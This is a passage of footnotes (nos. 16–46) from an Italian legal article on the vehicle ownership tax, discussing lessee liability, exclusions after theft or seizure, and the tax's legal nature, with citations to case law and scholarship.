(16) Secondo la più restrittiva giurisprudenza del Consiglio di Stato, perché una norma possa dirsi d’interpretazione autentica non è sufficiente che si sia in presenza di incertezze sull’applicazione di una disposizione o di contrasti giurisprudenziali e che la scelta imposta dalla legge rientri tra le possibili varianti di senso del testo originario, con ciò vincolando un significato ascrivibile alla norma anteriore, ma occorre anche che siano rispettati una serie di limiti generali all’efficacia retroattiva delle leggi, che attengono alla salvaguardia, oltre che dei principi costituzionali, di altri fondamentali valori di civiltà giuridica posti a tutela dei destinatari della norma e dello stesso ordinamento, tra i quali vanno ricompresi il rispetto del principio generale di ragionevolezza che ridonda nel divieto di introdurre ingiustificate disparità di trattamento, la tutela dell’affidamento legittimamente sorto nei soggetti quale principio connaturato allo Stato di diritto, la coerenza e la certezza dell’ordinamento giuridico, il rispetto delle funzioni costituzionalmente riservate al potere giudiziario. Ad ogni modo, in relazione al caso in esame può osservarsi che: 1) la esplicitazione di uno dei possibili significati della legge originaria affiora nelle decisioni di segno contrario a quella in commento rese sia dalla giurisprudenza di merito (Comm. trib. prov. di Milano, sez. XII, 2 novembre 2006, n. 139, in Boll. Trib., 2006, 1898) che di legittimità (Cass., sez. III, 25 maggio 2004, n. 10034, in Rep. Foro it., 2004, Assicurazione (contratto) [0570], n. 169); 2) la violazione del principio dell’affidamento non sembra ravvisabile, alla luce della diffusa e nota prassi di pattuire il pagamento del c.d. “bollo-auto” da parte o, comunque, a carico del locatario.

(17) Ne deriva, ulteriormente (in questa prospettiva), che non appare così sicuro escludere la portata retroattiva della legge n. 99/2009, tenuto conto che la natura interpretativa di una legge non si desume soltanto da elementi testuali, ma, soprattutto, da elementi strutturali. tali elementi strutturali sembrano sussistere nel momento in cui le due disposizioni – l’una (art. 91 del D.Lgs. n. 285/1992), che introduce la figura del locatario e che, potendo avere rilevanza tributaria, avrebbe integrato il D.L. n. 953/1982 e l’altra (art. 7 della legge n. 99/2009) che assoggetta alle tasse automobilistiche anche il locatario – si combinano rendendo possibile il recupero di imposta anche nei confronti di tale soggetto; mentre, la situazione di incertezza (la quale giustifica l’intervento di una legge di interpretazione autentica) deriverebbe proprio dal permanente riferimento alla sola persona del proprietario nel citato D.L. n. 953/1982. In effetti, è dubbio che la locuzione «chi risulti proprietario dal pubblico registro» esprima due concetti distinti e concorrenti e, non, piuttosto, una endiadi, atteso che solo la proprietà (oltre all’usufrutto, di scarsissima rilevanza pratica) può risultare da tale registro. Sarebbe, quindi, altrettanto ragionevole sostenere che il riferimento alla proprietà sia una mera specificazione e che il concetto che il “legislatore” voleva esprimere era semplicemente, la responsabilità di chi risulti dal registro. Una volta integrate (con il riferimento all’usufruttuario e al locatario) le risultanze del pubblico registro, per di più con disposizione asseritamente tributaria, va da sé che la responsabilità tributaria del locatario trovi una base testuale, ancorché non completamente esplicitata.

(18) «Ai fini del risarcimento dei danni prodotti a persone o cose dalla circolazione dei veicoli, il locatario è responsabile in solido con il conducente ai sensi dell’art. 2054, c. 3°, del codice civile» (art. 91, secondo comma, del D.Lgs. n. 285/1992).

(19) «Ai fini delle violazioni amministrative si applica all’utilizzatore a titolo di locazione finanziaria e all’acquirente con patto di riservato dominio l’art. 196, c. 1°» (art. 91, quarto comma, del D.Lgs. n. 285/1992).

(20) Cass. n. 4569/2006, cit.

(21) Nell’ambito dei provvedimenti, principale sotto-categoria degli atti amministrativi, in quanto caratterizzati dalla autoritarietà e dalla discrezionalità, si inquadrano le “autorizzazioni”: così P. Virga, Diritto amministrativo. Atti e ricorsi, Milano, 1999, 5. Ciò premesso, si rileva che «Anche le autorizzazioni, oltre che personali, possono essere reali (ad esempio, carta di circolazione per gli autoveicoli»: così P. Virga, Diritto amministrativo, cit., 16. Coerente con tale impostazione è la riconosciuta incidenza sull’obbligo tributario del provvedimento che commina la sanzione accessoria della “sospensione della carta di circolazioneex art. 217 del D.Lgs. n. 285/1992 su ordinanza emessa dalla Motorizzazione Civile e Trasporti in Concessione (M.C.T.C), allorché sia annotato d’ufficio e salva, comunque, la facoltà della parte di annotare corrispondente perdita di possesso (circ. A.C.I., dir. centr. P.R.A., 23 giugno 1993, n. 61487).

(22) Tali provvedimenti dell’Autorità giudiziaria o amministrativa determinano l’indisponibilità del veicolo e «fanno venir meno l’obbligo del pagamento del tributo per i periodi d’imposta successivi a quello in cui è stata effettuata l’annotazione»: così l’art. 5, comma 36, del D.L. n. 953/1982. A questo riguardo, và sottolineato che anche allorquando si tratti di sequestro amministrativo esso viene generalmente disposto dalla Polizia locale, dalla Polizia di Stato, etc., e non dalla stessa Autorità che aveva rilasciato la carta di circolazione (la M.C.T.C., ufficio locale del Ministero dei Trasporti).

(23) Tali comportamenti (ad esempio, furto, appropriazione indebita) determinano, del pari, l’indisponibilità del veicolo “per fatto di terzo” e consentono l’annotazione della perdita di possesso.

(24) Si ammette, così, che le risultanze del Pubblico Registro Automobilistico possano essere superate qualora si dimostri, anche in assenza della corrispondente annotazione, il furto del veicolo: cfr. Cass., sez. I, 29 agosto 1997, n. 8176, in Rep. Foro it., 1997, Autoveicoli (tassa) [0730], n. 9.

(25) «Né la proprietà né il possesso possono valere, presi isolatamente, a costituire il presupposto, in quanto questo è dato solo dalla loro coincidenza in capo ad un determinato soggetto»: così C. Marziali, Alcune riflessioni sul presupposto oggettivo delle tasse automobilistiche, sull’elemento normativo della fattispecie impositiva e sull’iscrizione al P.R.A., in relazione al regime delle prove in diritto tributario, in Nuovo diritto, 1990, 548, in particolare 557.

(26) In questo senso, si afferma «che, in base al dato testuale, il soggetto passivo dell’imposta in rassegna va, dunque, ineludibilmente identificato in funzione della titolarità del diritto di proprietà o di altro diritto reale di godimento sull’autoveicolo, così come individuato in base all’intestazione risultante dal P.R.A.; … che la lettera della legge induce, quindi, a ritenere che – in ipotesi di autoveicolo che il proprietario conceda in leasing a terzi – soggetto passivo della tassa di possesso debba necessariamente essere considerato il proprietario/concedente e non l’utilizzatore: … il contratto di leasing conferisce, infatti, all’utilizzatore il diritto (relativo) di godimento del bene (mentre il concedente rimane proprietario del bene strumentale, anche in prospettiva di garanzia della restituzione delle somme anticipate), sicché l’utilizzatore non è possessore del bene, ma mero detentore qualificato dello stesso, in virtù del rapporto obbligatorio (e non reale) stipulato»: così Cass., sez. trib., 17 febbraio 2011, n. 3928, in Boll. Trib. On-line.

(27) «A fronte della univocità del dato testuale (tale ribadito anche da Cass. 19875/09, 16742/05, 6167/05) a nulla rileva, in contrario, il fatto che l’art. 5, comma 37, del medesimo D.L. n. 953 del 1982, statuisca che “la perdita del possesso del veicolo o dell’autoscafo per forza maggiore o per fatto di terzo o la indisponibilità conseguente a provvedimento dell’autorità giudiziaria o della pubblica amministrazione, annotate nei registri indicati nel trentaduesimo comma, fanno venir meno l’obbligo del pagamento del tributo per i periodi d’imposta successivi a quello in cui e stata effettuata l’annotazione”, poiché l’esecuzione del contratto di leasing, avvenendo su base consensuale, non determina certo lo spossessamento per causa di forza maggiore, per fatto del terzo o per provvedimento dell’Autorità»: così Cass. n. 3928/2011, cit.

(28) Si presume il possesso in colui che esercita il potere di fatto (art. 1141, primo comma, c.c.), che, oltretutto, può modificare unilateralmente, la propria relazione con la cosa (art. 1141, secondo comma, c.c.); anche al detentore qualificato, inoltre, è riconosciuta l’azione di reintegrazione (art. 1168, secondo comma, c.c.).

(29) Per tale ragione si ritiene applicabile, qualora si versi in ipotesi di leasing c.d. “traslativo”, la disciplina in materia di vendita con riserva della proprietà, con conseguente legittimo addebito del rischio di perdita del bene al locatario, ex art. 1523 c.c. (così Cass., sez. III, 14 ottobre 2011, n. 21301, in Mass. Foro it., 2011, 809), e conseguente illegittimo cumulo di vantaggi in capo al concedente, ex art. 1526 c.c. (ved. Cass., sez. III, 27 settembre 2011, n. 19732, ibidem, 765). Non manca, poi, chi considera il leasing come una vera e propria vendita con facoltà di recesso o di vendita con riserva della proprietà, nonostante la diversa terminologia adoperata: cfr. E. Protetti, Il pubblico registro automobilistico, Napoli, 1984, 68.

(30) Per consolidato orientamento della giurisprudenza, il furto è ravvisabile anche qualora il veicolo venga sottratto momentaneamente ed anche qualora il veicolo (provvisto di sistema anti-furto satellitare) sia suscettibile di essere senz’altro rintracciato: così A. Crespi G. Forti F. Zuccalà, Commentario breve al Codice Penale, Padova, 2010, sub. art. 624.

(31) Cfr. Cass., sez. VI pen., 10 novembre 2011, n. 932, in Rep. Foro it., 2011, Sottrazione di cose pignorate [6350], n. 2. In motivazione si ribadisce che, nel diritto penale, l’istituto della proprietà si atteggia in modo particolare.

(32) «In linea teorica e piuttosto astratta … la distinzione tra esenzione ed esclusione è agevole. Essa ha il suo cardine nel concetto di presupposto tipico di ciascun tributo. Rispetto ad esso può dirsi che si ha esenzione se la norma sottrae all’applicazione del tributo un fatto od un insieme di fatti (e. ogg.) o una persona o un insieme di persone (e. sogg.) che, in sua assenza, rientrerebbero naturalmente nell’area del presupposto tipico; mentre si hanno ipotesi di esclusione di imposta tutte le volte in cui le disposizioni si limitano ad esplicitare una funzione (talora in chiave interpretativa) di mera, più nitida delimitazione dei confini del presupposto tipico»: così G. Falsitta, Manuale di diritto tributario, cit., 241. Ciò premesso, e tenuto conto che il presupposto delle tasse automobilistiche è rappresentato dal legittimo possesso di un veicolo destinato alla circolazione, gli eventi previsti nell’art. 5, comma 36, del D.L. n. 953/1982, sembrano da inquadrare nel concetto di esclusione da imposta. Il che parrebbe per esclusione confermato dal fatto che le esenzioni realizzano, di norma, interessi esterni alla logica del tributo: così E. De Mita,
Principi di diritto tribuario, cit., 20. Non potendo ammettersi un beneficio fiscale in relazione ad azioni socialmente dannose (la perdita di possesso sottende eventi qualificabili come illeciti amministrativi e/o penali), è giocoforza ritenere che, venuta meno la possibilità di utilizzare il veicolo, venga meno, in corrispondenza, l’assoggettamento ad imposta.

(33) Cfr. Cass. n. 3928/2011, cit. Si aprirebbe, qui, una ulteriore serie di questioni originate dalla qualificazione di un fatto come “involontario”. In concreto, ci si potrebbe chiedere, ad esempio, se sia tale il sequestro subito dall’automobilista a seguito di una propria colpevole infrazione al codice della strada.

(34) La tesi negativa si potrebbe sostenere ove si ritenesse di accedere all’opinione secondo cui le norme tributarie, in quanto “a fattispecie esclusiva”, siano, di per sé, insuscettibili di applicazione analogica. A parte il fatto che tale difficoltà si riannoda al tecnicismo delle norme “impositive”, e che, per contro, qui si versa in ipotesi di “esclusioni di imposta”, si deve rammentare che queste ultime sono ritenute passibili di applicazione analogica: cfr. A. Fantozzi, Diritto tributario, Torino, 2004, 185. Il problema, allora, potrebbe riguardare il ricorso abusivo o elusivo a tale strumento; ma si tratterebbe di un profilo distinto.

(35) «L’obbligazione di imposta è una obbligazione ex lege (e, perciò, coattiva). Essa nasce dalla volontà della legge e giammai dalla volontà delle parti che intervengono nella creazione di un negozio giuridico o nello svolgimento di una attività economica … Anche quando l’evento imponibile consiste in un comportamento liberamente scelto … tale comportamento è trattato dalla legge di imposta come mero accadimento storico avente contenuto economico. È da escludere la efficacia creatrice della volontà privata rispetto alle conseguenze tributarie delle condizioni volontariamente realizzate dal contribuente»: in tal senso G. Falsitta, Manuale di diritto tributario, cit., 25 s. Si noti la diversa rilevanza che la volontarietà assume in rapporto alle “condizioni realizzate” e alle “conseguenze tributarie”. Nel caso di specie, si direbbe che la concessione contrattuale della utilizzazione del veicolo debba inquadrarsi nelle “condizioni volontarie” assunte (allorché ricorrano) dalla norma impositiva, mentre l’esclusione da imposta che ne deriva per il proprietario debba inquadrarsi nelle “conseguenze tributarie” (indisponibili).

(36) Non essendovi ricollegato alcun effetto dichiarativo o costitutivo, alla relativa annotazione si riconosce il valore di “denuncia amministrativa”, e, per conseguenza, si esclude l’applicazione ad essa della imposta erariale di trascrizione, della sua addizionale regionale e della imposta provinciale di iscrizione (così circ. A.C.I., dir. centr. P.R.A., 4 novembre 1993, n. 9/638). Al riguardo sembra opportuno fare due ordini di considerazioni. In primo luogo l’annotazione in discorso, in quanto legittimamente effettuata nel registro sulla base di un obbligo di legge, è altrettanto legittimamente utilizzabile dall’Amministrazione finanziaria per attivare le operazioni di recupero di imposta nei confronti di chi appare essere titolare della situazione giuridica oggetto di imposizione (c.d. “responsabile di imposta”). Qualora tale soggetto non sia il titolare effettivo di quella situazione, da identificare, più correttamente, sulla base dei criteri stabiliti dal codice civile (circ. A.C.I. n. 9/638/1993, cit.), tale circostanza potrà essere allegata dal locatario iscritto e, in ipotesi, raggiunto da un avviso di accertamento (azionando, a seconda della ricostruzione che venga accolta in merito alla configurazione della sua posizione sostanziale e processuale, attraverso la chiamata in causa del locatario “effettivo” nel giudizio tributario ovvero attraverso azione di rivalsa in separato giudizio civile). In secondo luogo la non assoggettabilità ad imposte di trascrizione della annotazione in discorso (circ. A.C.I. n. 9/638/1993, cit.), in quanto ricollegata al possibile valore dirimente dell’annotazione stessa (nell’eventualità di un conflitto con terzi che vantino pretese sullo stesso veicolo), e che, ad essa, non può essere riconosciuto, non interferisce con la questione in oggetto, attinente (anzitutto) all’efficacia, tra le parti (proprietario e locatario) del contratto e (di riflesso) alla sua “rilevanza” nei confronti dei terzi, che si deve ammettere, non essendo condizionata a requisiti predeterminati: così C.M. Bianca, Il contratto, Milano, 1987, 542.

(37) A questo riguardo la stessa giurisprudenza, con l’ipotizzare una eccezione di inadempimento del compratore (impossibilitato a circolare, per mancata consegna della carta di circolazione) diretta a paralizzare l’azione di rivalsa del venditore (raggiunto da avviso di accertamento in relazione a periodo di imposta successivo alla vendita), avente autonoma valenza rispetto alla eccezione (fondata sullo stesso fatto) diretta a negare l’intervenuto trasferimento della proprietà (e respinta nella fase di merito), ammette (implicitamente) che, a prescindere dalla formale situazione di proprietà, sia la “effettiva disponibilità del veicolo” a fondare l’obbligo tributario (cfr. Cass., sez. III, 19 novembre 1994, n. 9804, in Giust. civ., 1995, I, 713).

(38) «Hensel dice a questo proposito che piuttosto di unitarietà dei concetti nei vari campi del diritto và parlato di concetti funzionali, di concetti cioè il cui contenuto è influenzato dai compiti cui essi sono chiamati ad assolvere nelle varie branche del diritto … il semplice fatto che l’istituto privatistico venga incorporato nel diritto tributario toglie all’istituto stesso ogni caratteristica di diritto privato per cambiare in un istituto del diritto tributario. L’istituto perde, infatti, con tale incorporazione, ogni funzione di tutela di un interesse individuale per divenire un concetto concorrente alla tutela dell’interesse dello Stato a procurarsi i mezzi necessari per far fronte ai bisogni pubblici. Tale mutamento di scopo si risolve in un cambiamento del contenuto del concetto giuridico: ed il risultato finale non è dissimile da quello ottenuto dallo Stato quando forma ex novo concetti propri del diritto tributario»: ved. E. Vanoni, Natura e interpretazione delle leggi tributarie, Milano, 1961, 143 s. «Vi è peraltro una ipotesi nella quale gli istituti del diritto privato sono richiamati dal diritto tributario e pure conservano immutato il loro valore … Alcune tasse erano e sono direttamente prelevate dallo Stato per il servizio che egli rende al singolo, garantendo l’esplicarsi dell’attività individuale diretta a particolari fini … la nascita del dovere tributario viene legata dalla legge di imposta al perfezionarsi delle condizioni che implicano la prestazione della tutela, cioè al verificarsi di rapporti che rientrano sotto un istituto del diritto privato. Il diritto tributario si vale in questa ipotesi dell’istituto del diritto privato, ma non lo fa proprio. L’istituto privatistico resta esterno al diritto tributario; esso è per la norma tributaria “un dato di fatto” un fenomeno qualsiasi della vita, che la norma tributaria fa oggetto della propria regolamentazione. Il fatto che la legge tributaria abbia, con particolare norma, legato la nascita di un dovere tributario al verificarsi di un rapporto giuridico, discende dal diritto privato, non modifica la sostanza privatistica del rapporto stesso»: cfr. sempre E. Vanoni, Natura e interpretazione delle leggi tributarie, cit., 145. «Il vedere se la legge tributaria, quando usi espressioni giuridiche che sono già note dal diritto privato, abbia inteso costruire un concetto proprio del diritto tributario o invece non abbia fatto altro che valersi di istituti privatistici cristallizzati per fondarvi speciali istituti finanziari, è compito dell’interprete. L’interprete in questa ricerca sarà guidato soprattutto dalla funzione cui l’istituto, sul quale verte dubbio, adempia nel diritto tributario. Ed a questo fine è indispensabile che l’interprete abbia presente le caratteristiche finanziarie di ogni tributo, in modo da inquadrare la singola norma nella cornice degli scopi che la legge si propone»: così ancora Natura e interpretazione delle leggi tributarie, cit., 147.

(39) L’art. 5, commi 42-47, del D.L. n. 953/1982, prevede l’interruzione dell’obbligo tributario per i veicoli consegnati a rivenditore autorizzato, il quale deve, a pena di decadenza, comunicare, periodicamente, gli elenchi in cui sono riportati gli estremi dei veicoli presi in carico all’ente incaricato dei controlli (l’A.C.I.). Benché la giurisprudenza configuri tale istituto in termini di “speciale esenzione”, cfr. Cass. n. 13952/2011, cit.; e Cass., sez. I, 22 aprile 1998, n. 4098, in Rep. Foro it., 1999, Autoveicoli (tassa) [0730], n. 12, una configurazione in termini di esclusione di imposta appare più coerente alla “indisponibilità” del veicolo che consegue alla presa in carico di esso. In questo senso sembra deporre la severa sanzione rappresentata dalla decadenza dal regime di favore allorché il veicolo sia posto in circolazione: tale uso indebito non intaccherebbe certamente la finalità di incentivare l’attività commerciale del rivenditore, ovverosia la ratio di un’ipotetica esenzione (diretta, normalmente, a realizzare scopi estranei all’imposta), mentre sarebbe congruente all’utilizzo fraudolento di un istituto che valorizza, invece, la “indisponibilità” del veicolo da parte del suo legittimo proprietario, ovverosia alla ratio di una ipotetica esclusione (diretta, normalmente, a regolamentare, compiutamente, lo stesso presupposto di imposta).

(40) L’art. 5, comma 31, del D.L. n. 953/1982, prevede che la tassa dovuta debba essere corrisposta dai titolari delle autorizzazioni previste dalla legge. In tal caso (art. 98 del D.Lgs. n. 285/1992) il veicolo non dispone di carta di circolazione e non è iscritto al Pubblico Registro Automobilistico; ne è valorizzato il regime proprietario, sibbene la relazione di servizio rispetto ad una pluralità di determinati soggetti (persone fisiche o giuridiche). Nondimeno, ai limitati fini stabiliti dalla disposizione citata e sulla base di apposita autorizzazione, esso circola: questa sembra essere, dunque, la giustificazione dell’assoggettamento al tributo (seppure nella misura forfettaria prevista) cui è stato sottoposto.

(41) L’art. 5, comma 33, del D.L. n. 953/1982, prevede l’esonero del pagamento della tassa per il periodo di permanenza all’estero, qualora questa non sia inferiore a 12 mesi in relazione agli autocarri, trattori stradali e relativi rimorchi e semirimorchi, temporaneamente esportati. È evidente che la temporanea esportazione non elimina la proprietà del bene (veicolo), né incide sulla iscrizione al Pubblico Registro Automobilistico. È, del pari, evidente che la temporanea esportazione non incida sulla potenziale rilevanza fiscale di detto bene: non vi è una ontologica preclusione per il legislatore italiano nel delimitare il presupposto di imposta, purché sussista un determinato criterio di collegamento con il territorio dello Stato (ved. G. Falsitta, Manuale di diritto tributario, cit., 121); criterio che, conclusivamente, deve esprimere un ragionevole collegamento tra il soggetto destinatario della norma impositiva ed il territorio dello Stato. Ciò premesso, la direttiva desumibile dalla citata disposizione sembra risolvere una problematica inversa: il veicolo esportato non viene tassato perché la giustificazione del tributo – da ravvisare nella partecipazione alla circolazione veicolare, come attività socialmente organizzata dallo Stato – non sussiste in rapporto a questa fattispecie.

(42) L’art. 5, comma 40, del D.L. n. 953/1982, prevede che per i rimorchi e i semirimorchi di proprietà di una stessa impresa, trainabili alternativamente da più motrici appartenenti alla medesima impresa, le tasse possono essere corrisposte cumulativamente, previa convenzione da stipularsi annualmente con la competente intendenza di finanza. Anche in tal caso, la disposizione in esame, intesa come imposta patrimoniale, contrasterebbe con i principi: pur ammettendo che il principio di progressività dell’imposta informi il sistema in generale e non singoli tributi (così G. Falsitta, Manuale di diritto tributario, cit., 185), si dovrebbe far riferimento al principio di proporzionalità (cfr. ancora G. Falsitta, Manuale di diritto tributario, cit., 258). D’altronde, gli eccezionali casi di limitazione della base imponibile si riferiscono alle imposte più complesse (risultanti da componenti positive e negative) e sono ispirate a scopi di incentivazione (cfr. G. Falsitta, Manuale di diritto tributario, cit., 251), caratteristiche, queste, che non si riscontrano affatto nella fattispecie in esame. Si potrebbe osservare che dall’art. 27, secondo comma, della legge 6 agosto 1990, n. 223, laddove dispone che il pagamento del canone radio-televisivo consenta la detenzione di uno o più apparecchi, provenga una indicazione divergente in rapporto ad una imposta, essa pure considerata una “micro-patrimoniale”: in tal senso G. Falsitta, La storia, cit., 1906. Ma si deve parimenti riconoscere la discrezionalità del legislatore nel conformare (nei limiti della razionalità) i singoli tributi: «L’imposta può essere fissa o variabile. L’imposta fissa ha limitata applicazione e si riscontra nei casi in cui … il presupposto consiste nel possesso di una cosa … Il sistema dominante è quello dell’imposta variabile commisurato alla grandezza della base imponibile», sostiene G. Falsitta, Manuale di diritto tributario, cit., 256. Ciò premesso, non appare insensata la omnicomprensività del canone radiotelevisivo, atteso che il possesso di una pluralità di apparecchi riceventi non incide (a differenza del caso rappresentato da una pluralità di emittenti) sulle modalità di erogazione del servizio pubblico generale che giustifica il tributo; è innegabile, al contrario, che una pluralità di veicoli (in ipotesi, di notevole potenza o portata) incida su tutto l’apparato di persone e mezzi che presiede al sistema della circolazione e dei trasporti, e sia considerata espressione di maggiore capacità contributiva. In ogni caso, nel sotto-sistema “tasse automobilistiche”, laddove è stato adottato un criterio che preveda la tassazione per ogni singolo veicolo posseduto, la fattispecie in oggetto si atteggia come un’eccezione; eccezione che, per le ragioni già evidenziate, non può considerarsi come un’esenzione (giacché non avvantaggerebbe una specifica attività imprenditoriale da incentivare), sibbene come una esclusione da imposta (giacché riconducibile alla effettiva circolazione dei rimorchi).

(43) L’art. 5, comma 32, del D.L. n. 953/1982, prevedeva che gli autoveicoli e i motocicli d’interesse storico, iscritti in specifici registri (Automotoclub storico italiano, Storico Lancia, Italiano FIAT, Italiano Alfa Romeo) costruiti da oltre trenta anni, fossero esenti dal tributo. La successiva legge 21 novembre 2000, n. 342, ha modificato le condizioni per fruire del regime agevolativo, prevedendo l’esenzione per i veicoli trentennali e per quelli ventennali di interesse storico-collezionistico. Quelli ora citati (art. 60, quarto comma, del D.Lgs. n. 285/1992), per poter circolare, devono ottenere la carta di circolazione e l’iscrizione nel Pubblico Registro Automobilistico. In relazione ad essi, il regime agevolativo si risolve in un regime sostitutivo, essendo assoggettati ad una tassa forfettaria in caso di circolazione. Con il che, pur con qualche difficoltà ricostruttiva (riguardo all’entità della tassa), la disciplina appare coerente con la giustificazione del tributo. I veicoli d’epoca (art. 60, primo comma, del D.Lgs. n. 285/1992) sono, invece, quelli cancellati dal Pubblico Registro Automobilistico per essere destinati alla loro conservazione in musei, etc., e destinati a circolare, in occasioni particolari e secondo modalità prestabilite, sulla base di apposita autorizzazione. Essi sono iscritti in apposito elenco gestito dalla Motorizzazione civile, alla quale devono pure essere comunicate le variazioni di proprietà per il conseguente aggiornamento. In relazione ad essi, sembra, pertanto, più confacente la qualificazione in termini di “esclusione di imposta”, in ragione della normale inidoneità alla circolazione.

(44) «Il sistema tributario pullula di micropatrimoniali (esempio: l’imposta sull’apparecchio televisivo). Il bollo auto divenne una di queste micropatrimoniali»: così G. Falsitta, La storia, cit., 1906.

(45) Si è osservato (cfr. C. Bafile, Imposta, in Enc. giur., XVII, 1989, 7) che detta qualificazione dipenda dal collegamento del presupposto direttamente alla persona del contribuente, in quanto la sua situazione personale (ad esempio: stato familiare) influenzi il trattamento tributario; nelle imposte sui redditi, in particolare, questa connessione sarebbe ravvisabile nel fatto che il reddito complessivo soggetto ad imposizione sarebbe la risultante di una compensazione tra gli utili e le perdite riferite allo stesso soggetto (a differenza delle imposte patrimoniali, ove ogni cespite è colpito singolarmente ed indipendentemente da altri fattori che incidano sulla situazione patrimoniale complessiva del contribuente). Ciò premesso, può osservarsi come pure il sequestro, il furto, etc., del veicolo siano eventi che inibiscano la possibilità del proprietario (o, chi per esso) di circolare, e non già la attitudine (tecnica) del veicolo alla circolazione. Si tratta, cioè, di eventi che, tenuto conto della “logica” seguita dal Legislatore nel delineare il presupposto del tributo (ved. nota n. 17), operano in senso inverso: come la immatricolazione e la iscrizione nel Pubblico Registro Automobilistico rappresentano fattori sintomatici della immissione in circolazione del veicolo, così (all’opposto), il furto, il sequestro, etc., ne rappresentano fattori sintomatici del temporaneo ritiro. In questo limitato senso, potrebbe affermarsi che la legislazione in materia di tasse automobilistiche operi una sorta di “compensazione” tra fattori che, complessivamente, incidano sul possesso del veicolo (come bene destinato alla circolazione), con l’effetto di delimitare l’obbligo tributario ai periodi di imposta in cui quella destinazione possa ritenersi effettiva. Non avrebbe senso, pertanto, obiettare che si tratti di eventi rilevanti in modo oggettivo (in quanto riferiti al veicolo, mentre il proprietario potrebbe, comunque, circolare con altri veicoli di cui disponga). Non è senza rilievo, all’opposto, rimarcare che, in materia di ICI (imposta, senz’altro, ritenuta patrimoniale), il sequestro dell’immobile non sospende l’obbligo tributario (cfr. Comm. trib. prov. di Savona, sez. IV, 20 aprile 2012, n. 50, inedita), in omaggio al principio per cui l’accatastamento “vale” utilizzazione dell’immobile stesso, configurando il presupposto di imposta (cfr. Cass., sez. trib., 23 ottobre 2006, n. 22808, in Boll. Trib. On-line); del resto, sempre in materia di ICI si è affermata l’esigibilità dell’imposta anche qualora l’immobile sia inagibile, poiché ne colpisce il valore e non la rendita (cfr. Cass., sez. trib., 28 luglio 2010, n. 17605, ivi). Il tributo automobilistico sembra, dunque, trovare espressione attraverso previsioni che valorizzano il suo specifico presupposto.

(46) «La potestà di imposizione si può definire, secondo noi, come il potere spettante ad un ente pubblico nei confronti di tutti coloro che appartengono a quell’ente per vincoli politici, sociali ed economici al fine di procurarsi i mezzi per l’espletamento dell’attività pubblica … Si ha, da ultimo, vincolo sociale quando qualcuno partecipi alla vita della società organizzata dell’Ente»:così E. Vanoni, Elementi di diritto tributario, Milano, 1962, 37. In questa ottica può spiegarsi perché, nonostante la legge ancori alla esecuzione delle corrispondenti formalità nel Pubblico Registro Automobilistico (prima iscrizione e annotazione della perdita di possesso) sia la nascita che la sospensione dell’obbligo tributario, questo insorga dalla data di immatricolazione del veicolo (ved., esemplificativamente, il punto 2.1, 2° e 3° capoverso, della circolare regionale n. 2/2012 della Lombardia, cit.) e, inversamente, sia sospeso dalla data dello spossessamento purché annotato (ved. punto n. 2.6, capoverso 1°, circolare n. 2/2012, cit.). Nel primo caso, addirittura, l’obbligo tributario insorge a seguito della immatricolazione del veicolo sebbene la conseguente “prima iscrizione” nel Pubblico Registro Automobilistico non sia stata ancora perfezionata. Sebbene ciò possa ingenerare delle perplessità (considerato che, per l’omissione di detta formalità, è già prevista una corrispondente sanzione amministrativa dal codice della strada), tale prassi appare sostanzialmente giustificata dal fatto che l’interessato, procrastinando od omettendo la (doverosa) richiesta di iscrizione al Pubblico Registro Automobilistico, procrastinerebbe od ometterebbe, altresì, il versamento della tassa automobilistica. La stretta dipendenza tra la circolazione stradale e l’assoggettamento alle tasse automobilistiche è confermata dall’evoluzione normativa, che ha introdotto l’istituto della cancellazione d’ufficio del veicolo in caso di mancato pagamento del bollo ed in caso intestazione fittizia dei veicoli. Per quanto concerne il mancato pagamento, si è trattato della riformulazione di un istituto già previsto dall’art. 5, comma 51, del D.L. n. 53/1982, al fine di sottrarre al pagamento del tributo i veicoli che, presumibilmente, fossero in disuso: è, quindi, cambiata la prospettiva (prevalentemente esonerativa nell’uno, perché riferita ad un periodo pregresso nel quale l’interessato non aveva alcun onere di comunicare gli eventi relativi al veicolo ed incidenti sull’obbligo tributario; prevalentemente sanzionatoria nell’altro, perché diretta all’adozione di un provvedimento non rispondente ad eventi comunicati dall’interessato attraverso le previste e doverose annotazioni). Per quanto concerne le intestazioni fittizie, si è trattato della introduzione di una misura preordinata ad evitare frodi nel pagamento di premi assicurativi (data la differente entità di essi, a seconda della regione di residenza dell’intestatario) ed a facilitare l’individuazione del soggetto cui sia imputabile la responsabilità civile, amministrativa e fiscale per il possesso del veicolo. Poiché la predetta misura appare inadeguata e sproporzionata rispetto al fine prefisso, non si comprende, cioè, per quale ragione, una volta accertata la natura fittizia dell’intestazione, non si operi un adeguamento alla realtà effettiva (ad esempio, iscrizione d’ufficio a nome del reale proprietario) e si adotti una misura definitiva. Ma, soprattutto (nell’economia del discorso), sembra opportuno segnalare che le modalità attraverso le quali è dato accertare la natura fittizia dell’intestazione, non potendosi, a tale riguardo, ricavare un criterio univoco dalla stessa circolare del Ministero dell’interno n. 4587 del 15 giugno 2012, rivelino, ancora una volta, come la “sostanziale disponibilità” del veicolo sia indice della reale proprietà dello stesso (cfr. Cass. pen. 23 febbraio 2012, n. 10912). Giova, da ultimo, rammentare come sia stato (sempre nella stessa ottica) introdotto l’obbligo di comunicare la concessione del veicolo in comodato per una durata superiore a 30 giorni (art. 94-bis del D.Lgs. n. 285/1992). Non è prevista la corrispondente annotazione nel Pubblico Registro Automobilistico, e, per tale ragione, sembrerebbe preclusa l’assoggettabilità del comodatario al pagamento delle tasse automobilistiche, ma una diversa impostazione sarebbe prospettabile, facendo leva sul concetto di “utilizzazione” del veicolo, come si è detto; in tal caso, sarebbe (quantomeno) prospettabile una azione di rivalsa del proprietario verso il comodatario fondata sull’art. 1808, primo comma, c.c. Conclusivamente si direbbe che tutte tali misure, nel momento in cui perseguano l’illusorio obbiettivo di “censire”, comunque, anche colui che disponga materialmente del veicolo, o
ltre a contrastare con la “
logica” desumibile dal codice civile (responsabilità sussidiaria del proprietario rispetto al conducente), esprimano, seppur larvatamente, il concetto per cui sia la concreta utilizzazione del veicolo il fattore che determina la imputabilità delle correlative posizioni giuridiche.

